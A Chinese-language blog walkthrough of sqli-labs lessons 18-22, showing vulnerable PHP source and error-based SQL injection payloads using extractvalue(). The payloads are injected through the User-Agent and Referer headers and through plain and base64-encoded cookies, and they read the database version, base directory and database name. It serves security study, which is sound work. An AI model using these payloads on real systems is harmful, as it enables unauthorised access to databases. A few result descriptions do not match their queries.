本文记录 SQL 注入的学习过程,资料为 SQLi
SQLi 博客目录
-
测试漏洞
源代码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# uname 和passwd 进行了check_input()函数的处理
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
# Ip 地址我们这里修改不是很方便,但是useragent 修改较为方便,我们从 user-agent 入手我们利用 burpsuite 进行抓包改包
在浏览器输入正确的用户名和密码 admin:admin
使用 burpsuite 进行截断,之后修改 HTTP 头的 User-Agent
结果在浏览器显示出了 User-Agent
-
User-Agent 注入
User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
低版本的 mysql 不支持这个 extractvalue() 函数
-
测试漏洞
源代码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# uname 和passwd 进行了check_input()函数的处理
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
# Ip 地址我们这里修改不是很方便,但是 referer 修改较为方便,我们从 referer 入手我们利用 burpsuite 进行抓包改包
在浏览器输入正确的用户名和密码 admin:admin
使用 burpsuite 进行截断,之后修改 HTTP 头的 referer
结果在浏览器显示出了 referer
-
Referer 注入
Referer: 'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
低版本的 mysql 不支持这个 extractvalue() 函数
Less - 20: POST - Cookie Injection - Uagent field - Error based
-
测试漏洞
源代码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# uname 和passwd 进行了check_input()函数的处理
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
}
# 从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读取 username,然后进行查询。
# 登录成功后,我们修改 cookie,再次刷新时,这时候sql 语句就会被修改了。我们使用 temper data 进行演示。
在浏览器输入正确的用户名和密码 admin:admin
修改 cookie 值为
uname=1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
结果显示为版本号。
使用 burpsuite-reperter 抓包添加一行 cookie 值
Less - 21: Cookie Injection - Base64 Encoded - Single Quote and Parenthesis
-
测试漏洞
本关对 cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。
源代码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# uname 和passwd 进行了check_input()函数的处理
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
setcookie('uname', base64_encode($row1['username']), time()+3600);
header ('Location: index.php');
}
我们这里可以利用 less20 同样的方法,但是需要将 payload 进行 base64 编码处理(注意这里对uname 进行了(‘uname’)的处理)
Cookie:
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
在浏览器输入正确的用户名和密码 admin:admin
修改 cookie 值为
uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
结果显示为版本号。
Less - 22: Cookie Injection - Base64 Encoded - Double Quotes
-
测试漏洞
本关对cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的。
源代码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
# uname 和passwd 进行了check_input()函数的处理
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
setcookie('uname', base64_encode($row1['username']), time()+3600);
header ('Location: index.php');
}
本关和 less20、less21 是一致的,我们可以从源代码中看到这里对 uname 进行了 ”uname” 的处理,可以构造payload:
admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# base64 编码之后:
cookie: YWRtaW4xImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSM=
Payload 进行 base64 编码后,修改 cookie 再进行提交
可以看到数据库名为 security
其他的payload 请自行发散思维进行构造。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)